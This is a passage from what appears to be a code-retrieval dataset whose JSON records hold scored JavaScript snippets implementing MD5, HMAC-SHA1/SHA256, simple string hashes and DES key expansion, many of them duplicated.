3\na=hh(a,b,c,d,blocks[5],4,-378558);d=hh(d,a,b,c,blocks[8],11,-2022574463);c=hh(c,d,a,b,blocks[11],16,1839030562);b=hh(b,c,d,a,blocks[14],23,-35309556);a=hh(a,b,c,d,blocks[1],4,-1530992060);d=hh(d,a,b,c,blocks[4],11,1272893353);c=hh(c,d,a,b,blocks[7],16,-155497632);b=hh(b,c,d,a,blocks[10],23,-1094730640);a=hh(a,b,c,d,blocks[13],4,681279174);d=hh(d,a,b,c,blocks[0],11,-358537222);c=hh(c,d,a,b,blocks[3],16,-722521979);b=hh(b,c,d,a,blocks[6],23,76029189);a=hh(a,b,c,d,blocks[9],4,-640364487);d=hh(d,a,b,c,blocks[12],11,-421815835);c=hh(c,d,a,b,blocks[15],16,530742520);b=hh(b,c,d,a,blocks[2],23,-995338651);// endregion\n// region round 4\na=ii(a,b,c,d,blocks[0],6,-198630844);d=ii(d,a,b,c,blocks[7],10,1126891415);c=ii(c,d,a,b,blocks[14],15,-1416354905);b=ii(b,c,d,a,blocks[5],21,-57434055);a=ii(a,b,c,d,blocks[12],6,1700485571);d=ii(d,a,b,c,blocks[3],10,-1894986606);c=ii(c,d,a,b,blocks[10],15,-1051523);b=ii(b,c,d,a,blocks[1],21,-2054922799);a=ii(a,b,c,d,blocks[8],6,1873313359);d=ii(d,a,b,c,blocks[15],10,-30611744);c=ii(c,d,a,b,blocks[6],15,-1560198380);b=ii(b,c,d,a,blocks[13],21,1309151649);a=ii(a,b,c,d,blocks[4],6,-145523070);d=ii(d,a,b,c,blocks[11],10,-1120210379);c=ii(c,d,a,b,blocks[2],15,718787259);b=ii(b,c,d,a,blocks[9],21,-343485551);// endregion\nstate[0]=unsignedModule2PowerOf32Addition(a,state[0]);state[1]=unsignedModule2PowerOf32Addition(b,state[1]);state[2]=unsignedModule2PowerOf32Addition(c,state[2]);state[3]=unsignedModule2PowerOf32Addition(d,state[3]);return state};// / endregion\n/**\n * Converts given character to its corresponding hex code\n * representation.\n * @param character - Character to convert.\n * @returns Converted hex code string.\n */const convertCharactorToHexCode=function convertCharactorToHexCode(character){let hexString='';for(let round=0;round<4;round++)hexString+=hexCharacters[character>>round*8+4&15]+hexCharacters[character>>round*8&15];return hexString};/**\n * Converts given byte array to its corresponding hex code as string.\n * @param value - Array of characters to convert.\n * @returns Converted hex code.\n */const convertToHexCode=function convertToHexCode(value){for(let index=0;index<value.length;index++)value[index]=convertCharactorToHexCode(value[index]);return value.join('')};/**\n * There needs to be support for unicode here, unless we pretend that\n * we can redefine the md5 algorithm for multi-byte characters\n * (perhaps by adding every four 16-bit characters and shortening the\n * sum to 32 bits). Otherwise I suggest performing md5 as if every\n * character was two bytes--e.g., 0040 0025 = @%--but then how will an\n * ordinary md5 sum be matched? There is no way to standardize text\n * to something like utf-8 before transformation; speed cost is\n * utterly prohibitive. The JavaScript standard itself needs to look\n * at this: it should start providing access to strings as preformed\n * utf-8 8-bit unsigned value arrays.\n * @param value - Value to process with each block.\n * @returns Converted byte array.\n */const handleBlock=function handleBlock(value){const blocks=[];for(let blockNumber=0;blockNumber<64;blockNumber+=4)blocks[blockNumber>>2]=value.charCodeAt(blockNumber)+(value.charCodeAt(blockNumber+1)<<8)+(value.charCodeAt(blockNumber+2)<<16)+(value.charCodeAt(blockNumber+3)<<24);return blocks};// endregion\n/**\n * Triggers the main algorithm to calculate the md5 representation of\n * given value.\n * @param value - String to convert to its md5 representation.\n * @returns Array of blocks.\n */const main=function main(value){const length=value.length;const state=[1732584193,-271733879,-1732584194,271733878];let blockNumber;for(blockNumber=64;blockNumber<=value.length;blockNumber+=64)cycle(state,handleBlock(value.substring(blockNumber-64,blockNumber)));value=value.substring(blockNumber-64);const tail=[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0];for(blockNumber=0;blockNumber<value.length;blockNumber++)tail[blockNumber>>2]|=value.charCodeAt(blockNumber)<<(blockNumber%4<<3);tail[blockNumber>>2]|=128<<(blockNumber%4<<3);if(blockNumber>55){cycle(state,tail);for(let index=0;index<16;index++)tail[index]=0}tail[14]=length*8;cycle(state,tail);return state};// region final call\nif(convertToHexCode(main('hello'))!=='5d41402abc4b2a76b9719d911017c592')/**\n * This function is much faster, so if possible we use it. Some IEs\n * are the only ones I know of that need the idiotic second\n * function, generated by an if clause in the end.\n * @private\n * @param first - First operand to add.\n * @param second - Second operant to add.\n * @returns The sum of both given operands.\n */unsignedModule2PowerOf32Addition=function unsignedModule2PowerOf32Addition(first,second){const lsw=(first&65535)+(second&65535);const msw=(first>>16)+(second>>16)+(lsw>>16);return msw<<16|lsw&65535};return convertToHexCode(main(onlyAscii?value:unescape(encodeURIComponent(value))));// endregion\n}", "title": "" }, { "docid": "81b8410de53412360dc016fda07c7dac", "score": "0.57282835", "text": "function core_hmac_sha1(key, data){\n var bkey = str2binb(key);\n if (bkey.length > 16)\n bkey = core_sha1(bkey, key.length * chrsz);\n\n var ipad = Array(16), opad = Array(16);\n for (var i = 0; i < 16; i++) {\n ipad[i] = bkey[i] ^ 0x36363636;\n opad[i] = bkey[i] ^ 0x5C5C5C5C;\n }\n\n var hash = core_sha1(ipad.concat(str2binb(data)), 512 + data.length * chrsz);\n return core_sha1(opad.concat(hash), 512 + 160);\n }", "title": "" }, { "docid": "1126410489deb5f1174c56811868cedb", "score": "0.57220346", "text": "function core_hmac_sha1(key, data)\n{\n\tvar bkey = str2binb(key);\n\tif(bkey.length > 16) bkey = core_sha1(bkey, key.length * chrsz);\n\n\tvar ipad = Array(16), opad = Array(16);\n\tfor(var i = 0; i < 16; i++)\n\t{\n\t\t/* SC - Get rid of warning */\n\t\tvar k = (bkey[i] != undefined ? bkey[i] : 0);\n\t\tipad[i] = k ^ 0x36363636;\n\t\topad[i] = k ^ 0x5C5C5C5C;\n\t\t/* ipad[i] = bkey[i] ^ 0x36363636;\n\t\topad[i] = bkey[i] ^ 0x5C5C5C5C;*/\n\t}\n\n\tvar hash = core_sha1(ipad.concat(str2binb(data)), 512 + data.length * chrsz);\n\treturn core_sha1(opad.concat(hash), 512 + 160);\n}", "title": "" }, { "docid": "d7509671fe02196e09a4384f241a9f79", "score": "0.57211757", "text": "function _core_hmac_sha1(key, data) {\n var bkey = _str2binb(key);\n if (bkey.length > 16) {\n bkey = _core_sha1(bkey, key.length * chrsz);\n }\n\n var ipad = new Array(16);\n var opad = new Array(16);\n for (var i = 0; i < 16; i++) {\n ipad[i] = bkey[i] ^ 0x36363636;\n opad[i] = bkey[i] ^ 0x5C5C5C5C;\n }\n\n var hash = _core_sha1(ipad.concat(_str2binb(data)), 512 + data.length * chrsz);\n return _core_sha1(opad.concat(hash), 512 + 160);\n }", "title": "" }, { "docid": "d7509671fe02196e09a4384f241a9f79", "score": "0.57211757", "text": "function _core_hmac_sha1(key, data) {\n var bkey = _str2binb(key);\n if (bkey.length > 16) {\n bkey = _core_sha1(bkey, key.length * chrsz);\n }\n\n var ipad = new Array(16);\n var opad = new Array(16);\n for (var i = 0; i < 16; i++) {\n ipad[i] = bkey[i] ^ 0x36363636;\n opad[i] = bkey[i] ^ 0x5C5C5C5C;\n }\n\n var hash = _core_sha1(ipad.concat(_str2binb(data)), 512 + data.length * chrsz);\n return _core_sha1(opad.concat(hash), 512 + 160);\n }", "title": "" }, { "docid": "a5d1d6e10130fb254e5b1e1c6bbefbc9", "score": "0.5717486", "text": "function rstr_hmac(key, data) {\n \tvar bkey, ipad, opad, i, hash;\n \tkey = (utf8) ? utf8Encode(key) : key;\n \tdata = (utf8) ? utf8Encode(data) : data;\n \tbkey = rstr2binb(key);\n\n \tif (bkey.length > 16) {\n bkey = binb(bkey, key.length * 8);\n }\n \tipad = Array(16), opad = Array(16);\n \tfor (i = 0; i < 16; i+=1) {\n \t\tipad[i] = bkey[i] ^ 0x36363636;\n \t\topad[i] = bkey[i] ^ 0x5C5C5C5C;\n \t}\n \thash = binb(ipad.concat(rstr2binb(data)), 512 + data.length * 8);\n \treturn binb2rstr(binb(opad.concat(hash), 512 + 160));\n }", "title": "" }, { "docid": "1d98f34e633ed3e5adb5b9168d315960", "score": "0.5716442", "text": "function core_hmac_sha1(key, data)\r\n{\r\n var bkey = str2binb(key);\r\n if(bkey.length > 16) bkey = core_sha1(bkey, key.length * chrsz);\r\n\r\n var ipad = Array(16), opad = Array(16);\r\n for(var i = 0; i < 16; i++) \r\n {\r\n ipad[i] = bkey[i] ^ 0x36363636;\r\n opad[i] = bkey[i] ^ 0x5C5C5C5C;\r\n }\r\n\r\n var hash = core_sha1(ipad.concat(str2binb(data)), 512 + data.length * chrsz);\r\n return core_sha1(opad.concat(hash), 512 + 160);\r\n}", "title": "" }, { "docid": "020b31645f48af0c6a98f567e75f65e2", "score": "0.57100993", "text": "function core_hmac_sha1(key, data) {\n\t var bkey = str2binb(key);\n\t if (bkey.length > 16) bkey = core_sha1(bkey, key.length * chrsz);\n\t\n\t var ipad = Array(16),\n\t opad = Array(16);\n\t for (var i = 0; i < 16; i++) {\n\t ipad[i] = bkey[i] ^ 0x36363636;\n\t opad[i] = bkey[i] ^ 0x5C5C5C5C;\n\t }\n\t\n\t var hash = core_sha1(ipad.concat(str2binb(data)), 512 + data.length * chrsz);\n\t return core_sha1(opad.concat(hash), 512 + 160);\n\t}", "title": "" }, { "docid": "1c44c8cf8830a4baab582f71d957cc5b", "score": "0.5704397", "text": "function core_hmac_sha1(key, data)\r\n{\r\n var bkey = str2binb(key);\r\n if(bkey.length > 16) bkey = core_sha1(bkey, key.length * chrsz);\r\n\r\n var ipad = Array(16), opad = Array(16);\r\n for(var i = 0; i < 16; i++)\r\n {\r\n ipad[i] = bkey[i] ^ 0x36363636;\r\n opad[i] = bkey[i] ^ 0x5C5C5C5C;\r\n }\r\n\r\n var hash = core_sha1(ipad.concat(str2binb(data)), 512 + data.length * chrsz);\r\n return core_sha1(opad.concat(hash), 512 + 160);\r\n}", "title": "" }, { "docid": "2a0d539e47af7b024d6658de3606b468", "score": "0.57036656", "text": "function core_hmac_sha1 (key, data)\n{\n var bkey = str2binb (key);\n if (bkey.length > 16)\n bkey = core_sha1 (bkey, key.length * chrsz);\n\n var ipad = Array (16), opad = Array (16);\n for (var i = 0; i < 16; i++)\n {\n ipad[i] = bkey[i] ^ 0x36363636;\n opad[i] = bkey[i] ^ 0x5C5C5C5C;\n }\n\n var hash = core_sha1 (ipad.concat (str2binb (data)), 512 + data.length * chrsz);\n\n return (core_sha1 (opad.concat (hash), 512 + 160));\n}", "title": "" }, { "docid": "649a20f034a7095c01aba3a16549ad1d", "score": "0.5690341", "text": "function core_hmac_sha1(key, data) {\n\tvar bkey = str2binb(key);\n\tif (bkey.length > 16) bkey = core_sha1(bkey, key.length * chrsz);\n\n\tvar ipad = Array(16),\n\t\topad = Array(16);\n\tfor (var i = 0; i < 16; i++) {\n\t\tipad[i] = bkey[i] ^ 0x36363636;\n\t\topad[i] = bkey[i] ^ 0x5C5C5C5C;\n\t}\n\n\tvar hash = core_sha1(ipad.concat(str2binb(data)), 512 + data.length * chrsz);\n\treturn core_sha1(opad.concat(hash), 512 + 160);\n}", "title": "" }, { "docid": "a690812abc77dc7a166344b22b6e489b", "score": "0.56809604", "text": "function core_hmac_sha1(key, data)\n{\n\tvar bkey = str2binb(key);\n\tif (bkey.length > 16) bkey = core_sha1(bkey, key.length * chrsz);\n\n\tvar ipad = Array(16), opad = Array(16);\n\tfor (var i = 0; i < 16; i++)\n\t{\n\t\tipad[i] = bkey[i] ^ 0x36363636;\n\t\topad[i] = bkey[i] ^ 0x5C5C5C5C;\n\t}\n\n\tvar hash = core_sha1(ipad.concat(str2binb(data)), 512 + data.length * chrsz);\n\treturn core_sha1(opad.concat(hash), 512 + 160);\n}", "title": "" }, { "docid": "0ccca1fa72cc74c2e25ee140a489a708", "score": "0.56774855", "text": "function rstr_hmac(key, data) {\n key = (utf8) ? utf8Encode(key) : key;\n data = (utf8) ? utf8Encode(data) : data;\n var i, hash,\n bkey = rstr2binl(key),\n ipad = Array(16), opad = Array(16);\n\n if (bkey.length > 16) { \n bkey = binl(bkey, key.length * 8); \n }\n \n for (i = 0; i < 16; i+=1) {\n ipad[i] = bkey[i] ^ 0x36363636;\n opad[i] = bkey[i] ^ 0x5C5C5C5C;\n }\n hash = binl(ipad.concat(rstr2binl(data)), 512 + data.length * 8);\n return binl2rstr(binl(opad.concat(hash), 512 + 160));\n }", "title": "" }, { "docid": "0eaf43d033e25c85dbaadef8f702ee72", "score": "0.5664343", "text": "function core_hmac_sha1(key, data) {\n var bkey = str2binb(key);\n if (bkey.length > 16) bkey = core_sha1(bkey, key.length * chrsz);\n\n var ipad = Array(16),\n opad = Array(16);\n for (var i = 0; i < 16; i++) {\n ipad[i] = bkey[i] ^ 0x36363636;\n opad[i] = bkey[i] ^ 0x5C5C5C5C;\n }\n\n var hash = core_sha1(ipad.concat(str2binb(data)), 512 + data.length * chrsz);\n return core_sha1(opad.concat(hash), 512 + 160);\n}", "title": "" }, { "docid": "0eaf43d033e25c85dbaadef8f702ee72", "score": "0.5664343", "text": "function core_hmac_sha1(key, data) {\n var bkey = str2binb(key);\n if (bkey.length > 16) bkey = core_sha1(bkey, key.length * chrsz);\n\n var ipad = Array(16),\n opad = Array(16);\n for (var i = 0; i < 16; i++) {\n ipad[i] = bkey[i] ^ 0x36363636;\n opad[i] = bkey[i] ^ 0x5C5C5C5C;\n }\n\n var hash = core_sha1(ipad.concat(str2binb(data)), 512 + data.length * chrsz);\n return core_sha1(opad.concat(hash), 512 + 160);\n}", "title": "" }, { "docid": "576e1791dc34a11bf5927a96625de618", "score": "0.5659068", "text": "function core_hmac_sha1(key, data)\n{\n var bkey = str2binb(key);\n if(bkey.length > 16) bkey = core_sha1(bkey, key.length * chrsz);\n\n var ipad = Array(16), opad = Array(16);\n for(var i = 0; i < 16; i++)\n {\n ipad[i] = bkey[i] ^ 0x36363636;\n opad[i] = bkey[i] ^ 0x5C5C5C5C;\n }\n\n var hash = core_sha1(ipad.concat(str2binb(data)), 512 + data.length * chrsz);\n return core_sha1(opad.concat(hash), 512 + 160);\n}", "title": "" }, { "docid": "576e1791dc34a11bf5927a96625de618", "score": "0.5659068", "text": "function core_hmac_sha1(key, data)\n{\n var bkey = str2binb(key);\n if(bkey.length > 16) bkey = core_sha1(bkey, key.length * chrsz);\n\n var ipad = Array(16), opad = Array(16);\n for(var i = 0; i < 16; i++)\n {\n ipad[i] = bkey[i] ^ 0x36363636;\n opad[i] = bkey[i] ^ 0x5C5C5C5C;\n }\n\n var hash = core_sha1(ipad.concat(str2binb(data)), 512 + data.length * chrsz);\n return core_sha1(opad.concat(hash), 512 + 160);\n}", "title": "" }, { "docid": "576e1791dc34a11bf5927a96625de618", "score": "0.5659068", "text": "function core_hmac_sha1(key, data)\n{\n var bkey = str2binb(key);\n if(bkey.length > 16) bkey = core_sha1(bkey, key.length * chrsz);\n\n var ipad = Array(16), opad = Array(16);\n for(var i = 0; i < 16; i++)\n {\n ipad[i] = bkey[i] ^ 0x36363636;\n opad[i] = bkey[i] ^ 0x5C5C5C5C;\n }\n\n var hash = core_sha1(ipad.concat(str2binb(data)), 512 + data.length * chrsz);\n return core_sha1(opad.concat(hash), 512 + 160);\n}", "title": "" }, { "docid": "576e1791dc34a11bf5927a96625de618", "score": "0.5659068", "text": "function core_hmac_sha1(key, data)\n{\n var bkey = str2binb(key);\n if(bkey.length > 16) bkey = core_sha1(bkey, key.length * chrsz);\n\n var ipad = Array(16), opad = Array(16);\n for(var i = 0; i < 16; i++)\n {\n ipad[i] = bkey[i] ^ 0x36363636;\n opad[i] = bkey[i] ^ 0x5C5C5C5C;\n }\n\n var hash = core_sha1(ipad.concat(str2binb(data)), 512 + data.length * chrsz);\n return core_sha1(opad.concat(hash), 512 + 160);\n}", "title": "" }, { "docid": "576e1791dc34a11bf5927a96625de618", "score": "0.5659068", "text": "function core_hmac_sha1(key, data)\n{\n var bkey = str2binb(key);\n if(bkey.length > 16) bkey = core_sha1(bkey, key.length * chrsz);\n\n var ipad = Array(16), opad = Array(16);\n for(var i = 0; i < 16; i++)\n {\n ipad[i] = bkey[i] ^ 0x36363636;\n opad[i] = bkey[i] ^ 0x5C5C5C5C;\n }\n\n var hash = core_sha1(ipad.concat(str2binb(data)), 512 + data.length * chrsz);\n return core_sha1(opad.concat(hash), 512 + 160);\n}", "title": "" }, { "docid": "13da5f0b2e42dd21f61868a591e523b3", "score": "0.5648996", "text": "function h(value) {\n\t\tvar hash = crypto.createHash('MD5');\n\t\thash.update(value, \"utf8\");\n\t\treturn hash.digest(\"hex\");\n\t}", "title": "" }, { "docid": "1b4b2feb05cb4ada1aeccdacf7c46938", "score": "0.5592141", "text": "function core_hmac_sha1(key, data)\n\t{\n\t var bkey = str2binb(key);\n\t if(bkey.length > 16) bkey = core_sha1(bkey, key.length * chrsz);\n\n\t var ipad = Array(16), opad = Array(16);\n\t for(var i = 0; i < 16; i++)\n\t {\n\t ipad[i] = bkey[i] ^ 0x36363636;\n\t opad[i] = bkey[i] ^ 0x5C5C5C5C;\n\t }\n\n\t var hash = core_sha1(ipad.concat(str2binb(data)), 512 + data.length * chrsz);\n\t return core_sha1(opad.concat(hash), 512 + 160);\n\t}", "title": "" }, { "docid": "d1410ffb501b32aa3997e84022361520", "score": "0.5575743", "text": "hash(key) {\n if (typeof key === 'string') {\n return key.split('').reduce((acc, val) => {\n return acc + val.charCodeAt(0);\n }, 0) * 599 % this.size;\n } else if (typeof key === 'number') {\n return key * 599 % this.size;\n }\n }", "title": "" }, { "docid": "9f084c2a021df1a19fa84d622a905aac", "score": "0.5570579", "text": "function expandkey(key56)\n{\n var key64 = new Buffer(8);\n\n key64[0] = key56[0] & 0xFE;\n key64[1] = ((key56[0] << 7) & 0xFF) | (key56[1] >> 1);\n key64[2] = ((key56[1] << 6) & 0xFF) | (key56[2] >> 2);\n key64[3] = ((key56[2] << 5) & 0xFF) | (key56[3] >> 3);\n key64[4] = ((key56[3] << 4) & 0xFF) | (key56[4] >> 4);\n key64[5] = ((key56[4] << 3) & 0xFF) | (key56[5] >> 5);\n key64[6] = ((key56[5] << 2) & 0xFF) | (key56[6] >> 6);\n key64[7] = (key56[6] << 1) & 0xFF;\n\n return key64;\n}", "title": "" }, { "docid": "b7346f5c538a898b01655e189cc34dce", "score": "0.55692333", "text": "function rstr_hmac(key, data) {\n key = (utf8) ? utf8Encode(key) : key;\n data = (utf8) ? utf8Encode(data) : data;\n var hash, i = 0,\n bkey = rstr2binb(key), \n ipad = Array(16), \n opad = Array(16);\n\n if (bkey.length > 16) { bkey = binb(bkey, key.length * 8); }\n \n for (; i < 16; i+=1) {\n ipad[i] = bkey[i] ^ 0x36363636;\n opad[i] = bkey[i] ^ 0x5C5C5C5C;\n }\n \n hash = binb(ipad.concat(rstr2binb(data)), 512 + data.length * 8);\n return binb2rstr(binb(opad.concat(hash), 512 + 256));\n }", "title": "" }, { "docid": "18f7c6952866ba95d598c1250d6fab4c", "score": "0.55625874", "text": "function _h(value) {\n\tvar hash = crypto.createHash('MD5');\n\thash.update(value, \"utf8\");\n\treturn hash.digest(\"hex\");\n}", "title": "" }, { "docid": "766a2b14f8cc95feaca3f477a5d135be", "score": "0.5531825", "text": "function rstr_hmac(key, data) {\n key = (utf8) ? utf8Encode(key) : key;\n data = (utf8) ? utf8Encode(data) : data;\n \n var hash, i = 0, \n bkey = rstr2binb(key),\n ipad = Array(32), opad = Array(32);\n\n if (bkey.length > 32) { bkey = binb(bkey, key.length * 8); }\n \n for (; i < 32; i+=1) {\n ipad[i] = bkey[i] ^ 0x36363636;\n opad[i] = bkey[i] ^ 0x5C5C5C5C;\n }\n \n hash = binb(ipad.concat(rstr2binb(data)), 1024 + data.length * 8);\n return binb2rstr(binb(opad.concat(hash), 1024 + 512));\n }", "title": "" }, { "docid": "ef794e92fee0fcef1465e36bf2745c2b", "score": "0.5509405", "text": "function rstr_hmac(key, data, utf8) {\n var bkey, ipad, opad, i, hash;\n key = (utf8) ? tools.utf8Encode(key) : key;\n data = (utf8) ? tools.utf8Encode(data) : data;\n bkey = tools.rstr2binb(key);\n\n if (bkey.length > 16) {\n bkey = binb(bkey, key.length * 8);\n }\n ipad = Array(16), opad = Array(16);\n for (i = 0; i < 16; i += 1) {\n ipad[i] = bkey[i] ^ 0x36363636;\n opad[i] = bkey[i] ^ 0x5C5C5C5C;\n }\n hash = binb(ipad.concat(tools.rstr2binb(data)), 512 + data.length * 8);\n return tools.binb2rstr(binb(opad.concat(hash), 512 + 160));\n}", "title": "" }, { "docid": "afde56e7cb873d10ad43a5ce02111c9b", "score": "0.5464635", "text": "function rstr_hmac_sha256(key, data)\n {\n var bkey = crypto.rstr2binb(key);\n if (bkey.length > 16) bkey = crypto.binb_sha256(bkey, key.length * 8);\n\n var ipad = Array(16), opad = Array(16);\n for (var i = 0; i < 16; i++)\n {\n ipad[i] = bkey[i] ^ 0x36363636;\n opad[i] = bkey[i] ^ 0x5C5C5C5C;\n }\n\n var hash = binb_sha256(ipad.concat(crypto.rstr2binb(data)), 512 + data.length * 8);\n return crypto.binb2rstr(binb_sha256(opad.concat(hash), 512 + 256));\n }", "title": "" }, { "docid": "d20724623110a4d3464db6b981526c8c", "score": "0.5396757", "text": "function setKey() {\n var s = encode_utf8($('#key').val());\n var i, kmd5e, kmd5o;\n\n if (s.length == 1) {\n s += s;\n }\n\n md5_init();\n for (i = 0; i < s.length; i += 2) {\n md5_update(s.charCodeAt(i));\n }\n md5_finish();\n kmd5e = byteArrayToHex(digestBits);\n\n md5_init();\n for (i = 1; i < s.length; i += 2) {\n md5_update(s.charCodeAt(i));\n }\n md5_finish();\n kmd5o = byteArrayToHex(digestBits);\n\n var hs = kmd5e + kmd5o;\n key = hexToByteArray(hs);\n hs = byteArrayToHex(key);\n }", "title": "" }, { "docid": "a0b99aa4b192317038de5e7e07001c77", "score": "0.5382605", "text": "hash( key ) {\n let str = key.toString()\n return (str.split('').reduce((prevHash, currVal) =>\n ((prevHash << 5) - prevHash) + currVal.charCodeAt(0), 0)).toString();\n }", "title": "" }, { "docid": "805df79467bca25383ba86ad0b0326d4", "score": "0.53665954", "text": "hash(data) {\n return crypto.createHash(\"md5\").update(data).digest(\"base64\");\n }", "title": "" }, { "docid": "55647dcac924db211fadf5a583a06ed9", "score": "0.5351905", "text": "function md5()\n{\n/* bits per input character.\n 8 - ASCII\n 16 - Unicode */\nvar char_size = 8;\n\n\n/**\n * @access private\n */\nthis.add = function(x , y)\n\t{\n\tvar lsw = (x & 0xFFFF) + (y & 0xFFFF);\n\tvar msw = (x >> 16) + (y >> 16) + (lsw >> 16);\n\n\treturn (msw << 16) | (lsw & 0xFFFF);\n\t}\n\n\n/**\n * @access private\n */\nthis.rotate_left = function(num , cnt)\n\t{\n\treturn (num << cnt) | (num >>> (32 - cnt));\n\t}\n\n\n/**\n * @access private\n */\nthis.cmn = function(q , a , b , x , s , t)\n\t{\n\treturn this.add(this.rotate_left(this.add(this.add(a , q) , this.add(x , t)) , s),b);\n\t}\n\n\n/**\n * @access private\n */\nthis.ff = function(a , b , c , d , x , s , t)\n\t{\n\treturn this.cmn((b & c) | ((~b) & d) , a , b , x , s , t);\n\t}\n\n\n/**\n * @access private\n */\nthis.gg = function(a , b , c , d , x , s , t)\n\t{\n\treturn this.cmn((b & d) | (c & (~d)) , a , b , x , s , t);\n\t}\n\n\n/**\n * @access private\n */\nthis.hh = function(a , b , c , d , x , s , t)\n\t{\n\treturn this.cmn(b ^ c ^ d , a , b , x , s , t);\n\t}\n\n\n/**\n * @access private\n */\nthis.ii = function(a , b , c , d , x , s , t)\n\t{\n\treturn this.cmn(c ^ (b | (~d)) , a , b , x , s , t);\n\t}\n\n\n/**\n * @access private\n */\nthis.core = function(x , len)\n\t{\n\t/* append padding */\n\tx[len >> 5] |= 0x80 << ((len) % 32);\n\tx[(((len + 64) >>> 9) << 4) + 14] = len;\n\n\tvar a = 1732584193;\n\tvar b = -271733879;\n\tvar c = -1732584194;\n\tvar d = 271733878;\n\n\tvar old_a , old_b , old_c , old_d;\n\n\tfor(var i=0; i<x.length; i+=16)\n\t\t{\n\t\told_a = a;\n\t\told_b = b;\n\t\told_c = c;\n\t\told_d = d;\n\n\t\ta = this.ff(a , b , c , d , x[i+ 0] , 7 , -680876936);\n\t\td = this.ff(d , a , b , c , x[i+ 1] , 12 , -389564586);\n\t\tc = this.ff(c , d , a , b , x[i+ 2] , 17 , 606105819);\n\t\tb = this.ff(b , c , d , a , x[i+ 3] , 22 , -1044525330);\n\t\ta = this.ff(a , b , c , d , x[i+ 4] , 7 , -176418897);\n\t\td = this.ff(d , a , b , c , x[i+ 5] , 12 , 1200080426);\n\t\tc = this.ff(c , d , a , b , x[i+ 6] , 17 , -1473231341);\n\t\tb = this.ff(b , c , d , a , x[i+ 7] , 22 , -45705983);\n\t\ta = this.ff(a , b , c , d , x[i+ 8] , 7 , 1770035416);\n\t\td = this.ff(d , a , b , c , x[i+ 9] , 12 , -1958414417);\n\t\tc = this.ff(c , d , a , b , x[i+10] , 17 , -42063);\n\t\tb = this.ff(b , c , d , a , x[i+11] , 22 , -1990404162);\n\t\ta = this.ff(a , b , c , d , x[i+12] , 7 , 1804603682);\n\t\td = this.ff(d , a , b , c , x[i+13] , 12 , -40341101);\n\t\tc = this.ff(c , d , a , b , x[i+14] , 17 , -1502002290);\n\t\tb = this.ff(b , c , d , a , x[i+15] , 22 , 1236535329);\n\n\t\ta = this.gg(a , b , c , d , x[i+ 1] , 5 , -165796510);\n\t\td = this.gg(d , a , b , c , x[i+ 6] , 9 , -1069501632);\n\t\tc = this.gg(c , d , a , b , x[i+11] , 14 , 643717713);\n\t\tb = this.gg(b , c , d , a , x[i+ 0] , 20 , -373897302);\n\t\ta = this.gg(a , b , c , d , x[i+ 5] , 5 , -701558691);\n\t\td = this.gg(d , a , b , c , x[i+10] , 9 , 38016083);\n\t\tc = this.gg(c , d , a , b , x[i+15] , 14 , -660478335);\n\t\tb = this.gg(b , c , d , a , x[i+ 4] , 20 , -405537848);\n\t\ta = this.gg(a , b , c , d , x[i+ 9] , 5 , 568446438);\n\t\td = this.gg(d , a , b , c , x[i+14] , 9 , -1019803690);\n\t\tc = this.gg(c , d , a , b , x[i+ 3] , 14 , -187363961);\n\t\tb = this.gg(b , c , d , a , x[i+ 8] , 20 , 1163531501);\n\t\ta = this.gg(a , b , c , d , x[i+13] , 5 , -1444681467);\n\t\td = this.gg(d , a , b , c , x[i+ 2] , 9 , -51403784);\n\t\tc = this.gg(c , d , a , b , x[i+ 7] , 14 , 1735328473);\n\t\tb = this.gg(b , c , d , a , x[i+12] , 20 , -1926607734);\n\n\t\ta = this.hh(a , b , c , d , x[i+ 5] , 4 , -378558);\n\t\td = this.hh(d , a , b , c , x[i+ 8] , 11 , -2022574463);\n\t\tc = this.hh(c , d , a , b , x[i+11] , 16 , 1839030562);\n\t\tb = this.hh(b , c , d , a , x[i+14] , 23 , -35309556);\n\t\ta = this.hh(a , b , c , d , x[i+ 1] , 4 , -1530992060);\n\t\td = this.hh(d , a , b , c , x[i+ 4] , 11 , 1272893353);\n\t\tc = this.hh(c , d , a , b , x[i+ 7] , 16 , -155497632);\n\t\tb = this.hh(b , c , d , a , x[i+10] , 23 , -1094730640);\n\t\ta = this.hh(a , b , c , d , x[i+13] , 4 , 681279174);\n\t\td = this.hh(d , a , b , c , x[i+ 0] , 11 , -358537222);\n\t\tc = this.hh(c , d , a , b , x[i+ 3] , 16 , -722521979);\n\t\tb = this.hh(b , c , d , a , x[i+ 6] , 23 , 76029189);\n\t\ta = this.hh(a , b , c , d , x[i+ 9] , 4 , -640364487);\n\t\td = this.hh(d , a , b , c , x[i+12] , 11 , -421815835);\n\t\tc = this.hh(c , d , a , b , x[i+15] , 16 , 530742520);\n\t\tb = this.hh(b , c , d , a , x[i+ 2] , 23 , -995338651);\n\n\t\ta = this.ii(a , b , c , d , x[i+ 0] , 6 , -198630844);\n\t\td = this.ii(d , a , b , c , x[i+ 7] , 10 , 1126891415);\n\t\tc = this.ii(c , d , a , b , x[i+14] , 15 , -1416354905);\n\t\tb = this.ii(b , c , d , a , x[i+ 5] , 21 , -57434055);\n\t\ta = this.ii(a , b , c , d , x[i+12] , 6 , 1700485571);\n\t\td = this.ii(d , a , b , c , x[i+ 3] , 10 , -1894986606);\n\t\tc = this.ii(c , d , a , b , x[i+10] , 15 , -1051523);\n\t\tb = this.ii(b , c , d , a , x[i+ 1] , 21 , -2054922799);\n\t\ta = this.ii(a , b , c , d , x[i+ 8] , 6 , 1873313359);\n\t\td = this.ii(d , a , b , c , x[i+15] , 10 , -30611744);\n\t\tc = this.ii(c , d , a , b , x[i+ 6] , 15 , -1560198380);\n\t\tb = this.ii(b , c , d , a , x[i+13] , 21 , 1309151649);\n\t\ta = this.ii(a , b , c , d , x[i+ 4] , 6 , -145523070);\n\t\td = this.ii(d , a , b , c , x[i+11] , 10 , -1120210379);\n\t\tc = this.ii(c , d , a , b , x[i+ 2] , 15 , 718787259);\n\t\tb = this.ii(b , c , d , a , x[i+ 9] , 21 , -343485551);\n\n\t\ta = this.add(a , old_a);\n\t\tb = this.add(b , old_b);\n\t\tc = this.add(c , old_c);\n\t\td = this.add(d , old_d);\n\t\t}\n\n\treturn new Array(a, b, c, d);\n\t}\n\n\n/**\n * @access private\n */\nthis.str2bin = function(str)\n\t{\n\tvar bin = new Array();\n\tvar mask = (1 << this.char_size) - 1;\n\n\tfor(var i=0; i<str.length * this.char_size; i+=this.char_size)\n\t\tbin[i>>5] |= (str.charCodeAt(i / this.char_size) & mask) << (i%32);\n\n\treturn bin;\n\t}\n\n\n/**\n * @access private\n */\nthis.bin2hex = 